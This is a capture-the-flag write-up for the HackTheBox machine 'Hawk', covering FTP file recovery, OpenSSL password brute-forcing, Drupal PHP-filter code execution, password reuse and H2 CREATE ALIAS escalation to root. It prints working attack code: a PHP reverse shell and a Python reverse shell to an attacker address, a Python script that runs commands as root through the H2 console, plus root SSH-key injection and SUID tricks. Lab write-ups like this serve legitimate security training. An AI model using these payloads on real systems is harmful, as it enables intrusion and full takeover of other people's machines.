HTB: Hawk Writeup

Hawk - HackTheBox Writeup

Machine Information

AttributeDetails
NameHawk
OSLinux
DifficultyMedium
PointsN/A
Release DateN/A
IP Address10.129.95.193
Authormr_h4sh

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐☆☆

Summary

Hawk is a medium-difficulty Linux machine that provides excellent practice in Drupal exploitation and Java-based database management system abuse. The initial foothold requires recovering an OpenSSL-encrypted file from anonymous FTP, decrypting it to obtain Drupal admin credentials, and leveraging the PHP filter module for remote code execution. Privilege escalation involves exploiting an H2 database console running as root through a localhost tunnel, abusing the CREATE ALIAS function to execute arbitrary Java code for a root shell. The machine emphasizes password reuse, service enumeration, and creative privilege escalation techniques.

TL;DR: Anonymous FTP → OpenSSL AES-256-CBC decryption → Drupal admin access → PHP filter RCE → MySQL credentials → SSH as daniel → H2 database CREATE ALIAS RCE → root shell


Reconnaissance

Port Scanning

Terminal window
# Full port scan with service detection
nmap -sC -sV -T4 -p- 10.129.95.193

Results:

  • 21/tcp - vsftpd 3.0.3 (anonymous login allowed)
  • 22/tcp - OpenSSH
  • 80/tcp - Apache 2.4.29 (Drupal 7.58)
  • 8082/tcp - H2 database console (remote access disabled)

Service Enumeration

FTP (Port 21)

The FTP service allows anonymous authentication, which is a common misconfiguration worth investigating immediately:

Terminal window
# Connect anonymously to FTP
ftp 10.129.95.193
# Username: anonymous
# Password: <blank>
# List files
ls -la
# Navigate to messages directory
cd messages
ls -la
# Found: .drupal.txt.enc

The .drupal.txt.enc file in the messages directory is immediately interesting given the Drupal service running on port 80. Since the jump box disk was full during the assessment, the file was retrieved by outputting its base64-encoded content directly to stdout:

Terminal window
# Retrieve the encrypted file (base64 method due to disk constraints)
get .drupal.txt.enc

HTTP (Port 80)

Accessing port 80 reveals a default Drupal 7.58 installation. The version can be confirmed by accessing /CHANGELOG.txt:

Terminal window
# Enumerate Drupal version
curl http://10.129.95.193/CHANGELOG.txt | head -n 5

Drupal 7.58 is patched against the critical “Drupalgeddon 2” (CVE-2018-7600) and “Drupalgeddon 3” (CVE-2018-7602) vulnerabilities, so these automated exploitation paths are not available.

H2 Database Console (Port 8082)

The H2 database console is accessible on port 8082, but the nmap scan and manual verification reveal that remote connections are disabled (webAllowOthers set to false). This service will need to be accessed via localhost tunneling or from the target system itself.

Vulnerability Assessment

  1. Anonymous FTP Access - Allows retrieval of encrypted configuration file
  2. OpenSSL Encrypted File - Requires decryption to obtain credentials
  3. Drupal PHP Filter Module - If enabled, allows arbitrary PHP code execution
  4. Password Reuse - Same credentials used across multiple services
  5. H2 Database Running as Root - CREATE ALIAS function can execute arbitrary Java code
  6. H2 Remote Access Disabled - Requires localhost access for exploitation

Initial Foothold

OpenSSL Decryption

The retrieved .drupal.txt.enc file needs to be decoded from base64 and then decrypted:

Terminal window
# Decode from base64
cat drupal.txt.enc | base64 -d > drupal.enc
# Examine the decoded file
xxd drupal.enc | head

The file signature reveals 53 61 6c 74 65 64 5f 5f which translates to “Salted__” - the standard OpenSSL salted encryption format. OpenSSL encrypted files consist of:

  • 8-byte signature: “Salted__”
  • 8-byte salt
  • Encrypted data
Terminal window
# Check file size to determine cipher type
wc -c drupal.enc
# Output: 176 bytes

The 176-byte size is divisible by 16, strongly indicating a block cipher such as AES was used. Common OpenSSL ciphers include AES-128-CBC, AES-256-CBC, and AES-256-ECB.

Cipher Identification and Brute Force

Rather than manually testing every cipher, we can use a brute-force approach with a common password list. The bruteforce-salted-openssl tool can test multiple cipher/password combinations:

Terminal window
# Attempt to brute force the encryption password
# Using common cipher AES-256-CBC and a password list
bruteforce-salted-openssl -t 6 -f /usr/share/wordlists/rockyou.txt \
-c aes-256-cbc -d sha256 drupal.enc

The password friends is quickly identified. Now we can decrypt the file:

Terminal window
# Decrypt using OpenSSL with the recovered password
openssl enc -aes-256-cbc -d -in drupal.enc -out drupal.txt -k friends
# Read the decrypted content
cat drupal.txt

The decrypted note reveals:

Following the password for the portal:
PencilKeyboardScanner123
Please let us know when the portal is ready.
Kind Regards,
IT department

The note references a “portal” which is likely the Drupal CMS on port 80, and provides the password PencilKeyboardScanner123.

Drupal Exploitation

Administrative Access

With the recovered password, we can attempt to authenticate to Drupal. The typical administrative username is admin:

URL: http://10.129.95.193/user/login
Username: admin
Password: PencilKeyboardScanner123

Login is successful, confirming administrative access to the Drupal installation.

Enabling PHP Filter Module

The PHP filter module in Drupal allows authenticated administrators to execute arbitrary PHP code within content nodes. This is a well-known privilege escalation path from Drupal admin to remote code execution:

1. Navigate to: Modules (admin/modules)
2. Locate "PHP filter" module
3. Check the box to enable it
4. Click "Save configuration"

Important: When enabling the module, all currently enabled modules must remain selected. The form submission includes all module states, so deselecting existing modules would disable them. The correct approach is to add “PHP filter” to the existing set of enabled modules and submit the complete form.

Remote Code Execution

With the PHP filter module enabled, we can create a content node containing PHP code for a reverse shell:

<?php
// PHP reverse shell
$sock = fsockopen("10.10.14.x", 4444);
$proc = proc_open("/bin/bash -i",
array(0=>$sock, 1=>$sock, 2=>$sock),
$pipes);
?>

Steps to execute:

  1. Navigate to: Content → Add content → Basic page
  2. In “Text format” dropdown, select “PHP code”
  3. Paste the reverse shell in the Body field
  4. Start netcat listener: nc -lvnp 4444
  5. Click “Preview” to trigger execution
Terminal window
# On attacking machine
nc -lvnp 4444
# Shell received as www-data
www-data@hawk:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
# Upgrade to interactive shell
www-data@hawk:/var/www/html$ python3 -c 'import pty;pty.spawn("/bin/bash")'
# Press Ctrl+Z
stty raw -echo; fg
export TERM=xterm

Lateral Movement to User

Drupal Database Credentials

Drupal stores its database configuration in settings.php. This file typically contains MySQL credentials:

Terminal window
# Read Drupal database configuration
www-data@hawk:/var/www/html$ cat sites/default/settings.php | grep -A 10 "databases"

The configuration reveals:

$databases = array (
'default' =>
array (
'default' =>
array (
'database' => 'drupal',
'username' => 'drupal',
'password' => 'drupal4hawk',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',

Credentials: drupal:drupal4hawk

Password Reuse Attack

Password reuse is extremely common in real-world environments. The database password should be tested against all identified user accounts. Checking /etc/passwd reveals a user account daniel:

Terminal window
# Attempt SSH authentication with recovered password
ssh daniel@10.129.95.193
# Password: drupal4hawk

Authentication succeeds! However, the login shell is unusual:

Terminal window
# The login shell is /usr/bin/python3
Python 3.6.5 (default, Apr 1 2018, 05:46:30)
[GCC 7.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>>

The user daniel has their shell set to python3 instead of a traditional shell like bash. This is an uncommon configuration but we can still operate within this Python environment:

# Execute shell commands via python
import os
os.system("cat /home/daniel/user.txt")

User flag captured: <redacted>


Privilege Escalation

H2 Database Enumeration

Earlier reconnaissance identified an H2 database console on port 8082. Examining running processes reveals more details:

# From daniel's python shell, check running processes
import subprocess
subprocess.call(["ps", "aux"])

Or using the os module:

import os
os.system("ps aux | grep h2")

The output shows:

  • H2 version: 1.4.196
  • Running as: root
  • Listening on: localhost:8082
  • Remote access: disabled (webAllowOthers=false)

The fact that H2 is running as root makes it a prime privilege escalation target. However, since remote access is disabled, we cannot connect directly from our attacking machine. We must access it from localhost on the target system.

H2 Database Exploitation

Understanding H2 CREATE ALIAS Vulnerability

H2 Database includes a feature called CREATE ALIAS that allows users to create custom SQL functions by wrapping Java code. This feature was documented by security researcher Matheus Bernandes as a method for achieving remote code execution when database access is obtained.

The vulnerability exists because:

  1. H2 allows arbitrary Java code execution through CREATE ALIAS
  2. The Runtime.exec() method can be called to execute system commands
  3. Command output can be captured using Java’s Scanner class
  4. When H2 runs as root (as in this case), code execution occurs with root privileges

Exploitation via Python Shell

Since we have access via daniel’s Python login shell and the H2 console is only accessible from localhost, we can use Python’s standard library to interact with the HTTP-based H2 console:

# Create a Python exploit script to interact with H2 from localhost
# This will be executed from daniel's python shell
import urllib.parse
import urllib.request
import http.cookiejar
# H2 console URL (localhost only)
base_url = "http://127.0.0.1:8082"
# Create cookie jar for session management
cookie_jar = http.cookiejar.CookieJar()
opener = urllib.request.build_opener(
urllib.request.HTTPCookieProcessor(cookie_jar)
)
# Step 1: Access the H2 console login page
login_page = opener.open(base_url + "/login.jsp").read()
# Step 2: Login with default credentials
# H2 default: username="sa", password="", new database name
login_data = urllib.parse.urlencode({
'driver': 'org.h2.Driver',
'url': 'jdbc:h2:~/exploit',
'user': 'sa',
'password': ''
}).encode('ascii')
login_response = opener.open(base_url + "/login.do", login_data)
# Step 3: Create alias for command execution
# CRITICAL: The delimiter must be \\A not \A or javac fails silently
create_alias_sql = """
CREATE ALIAS SHELLEXEC AS $$
String shellexec(String cmd) throws java.io.IOException {
java.util.Scanner s = new java.util.Scanner(
Runtime.getRuntime().exec(cmd).getInputStream()
).useDelimiter("\\\\A");
return s.hasNext() ? s.next() : "";
}$$;
"""
sql_data = urllib.parse.urlencode({
'sql': create_alias_sql
}).encode('ascii')
opener.open(base_url + "/query.do", sql_data)
# Step 4: Execute command via the alias
# Test with 'id' command first
exec_sql = "CALL SHELLEXEC('id')"
sql_data = urllib.parse.urlencode({
'sql': exec_sql
}).encode('ascii')
result = opener.open(base_url + "/query.do", sql_data).read()
print(result.decode('utf-8'))

Key technical detail: The delimiter in the Java code must be sent as \\A (double-escaped) rather than \A. If sent as \A, the Java compiler throws an error during the alias creation, but this error is silent in the H2 web console, causing the alias to fail without any indication of what went wrong.

To verify the exploit works, we first test with the id command:

# From daniel's python shell, pipe the exploit script
exec(open('h2_exploit.py').read())

The output confirms execution as root:

uid=0(root) gid=0(root) groups=0(root)

Root Shell

Now that we’ve confirmed code execution as root, we can execute a command to obtain a root shell. The most straightforward approach is to add our SSH public key to root’s authorized_keys:

# Modify the exec_sql to add SSH key
exec_sql = "CALL SHELLEXEC('mkdir -p /root/.ssh && echo \"ssh-rsa AAAA...\" >> /root/.ssh/authorized_keys')"

Alternatively, we can set the SUID bit on /bin/bash:

# Make bash SUID via H2
exec_sql = "CALL SHELLEXEC('chmod u+s /bin/bash')"
sql_data = urllib.parse.urlencode({'sql': exec_sql}).encode('ascii')
opener.open(base_url + "/query.do", sql_data)

Then from daniel’s account:

# Execute SUID bash
import os
os.system("/bin/bash -p")

Or use a reverse shell payload directly:

# Create reverse shell script as root
exec_sql = """CALL SHELLEXEC('echo "python3 -c \\'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\"10.10.14.x\\\",4445));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\\\"/bin/bash\\\",\\\"-i\\\"])\\'" > /tmp/shell.sh && chmod +x /tmp/shell.sh && /tmp/shell.sh')"""
Terminal window
# On attacking machine
nc -lvnp 4445
# Root shell received
root@hawk:~# id
uid=0(root) gid=0(root) groups=0(root)
root@hawk:~# cat /root/root.txt

Root flag captured: <redacted>


Attack Chain Summary

FTP Anonymous Login → .drupal.txt.enc → OpenSSL AES-256-CBC Decryption (password: friends) →
Drupal Admin Credentials (admin:PencilKeyboardScanner123) → PHP Filter Module RCE →
www-data Shell → MySQL Credentials (drupal:drupal4hawk) → Password Reuse →
SSH as daniel → H2 Database (localhost:8082) → CREATE ALIAS Java Code Execution →
Root Shell

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
ftpAnonymous FTP access and file retrieval
opensslDecryption of AES-256-CBC encrypted file
bruteforce-salted-opensslPassword recovery for OpenSSL encrypted files
netcatReverse shell listener
python3HTTP client for H2 console exploitation
sshRemote access as daniel user

Key Learnings

Techniques Practiced

  • OpenSSL salted format identification and decryption
  • Cipher type identification based on ciphertext size (block cipher detection)
  • Drupal CMS enumeration and version identification via CHANGELOG.txt
  • Drupal PHP filter module exploitation for remote code execution
  • Password reuse attacks across multiple services
  • Working with non-standard login shells (Python as login shell)
  • Java H2 Database CREATE ALIAS abuse for code execution
  • Localhost-only service exploitation via Python standard library
  • HTTP session management with cookies in Python
  • Java String delimiter escaping issues in web interfaces

Lessons Learned

  1. Always check for anonymous FTP access - Anonymous FTP is still found in production environments and often contains sensitive configuration files or backup data.

  2. OpenSSL encrypted files are recognizable by signature - The “Salted__” signature (bytes 53 61 6c 74 65 64 5f 5f) immediately identifies OpenSSL encrypted content, and common ciphers like AES-256-CBC should be tested first.

  3. Drupal PHP filter module is a critical security risk - Enabling the PHP filter module essentially grants code execution privileges to any user who can create content with that text format. This module should never be enabled on production systems.

  4. Database credentials are often reused for system accounts - Password reuse is extremely common in real-world environments. Always test recovered credentials against SSH, FTP, and other authentication services.

  5. Java database management systems can execute code - H2’s CREATE ALIAS feature, while powerful for legitimate database administration, can be abused to execute arbitrary Java code including system commands via Runtime.exec().

  6. Localhost-only services are not secure from local users - Services that disable remote access but listen on localhost can still be exploited by users with local access, making lateral movement crucial.

  7. String escaping matters in multi-layer systems - The \\A vs \A delimiter issue demonstrates how string escaping can silently break exploits when passing code through multiple interpretation layers (HTTP → SQL → Java compilation).

  8. Non-standard shells require adaptation - When a user’s login shell is set to something other than bash/sh (like Python), standard exploitation techniques must be adapted to work within that environment.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

This writeup was informed by the official HackTheBox writeup for Hawk (Document No D18.100.29) by egre55, which provided excellent context on OpenSSL cipher identification methodology and H2 database exploitation techniques. The IppSec video walkthrough also demonstrated valuable enumeration techniques including Drupal user enumeration via the registration form.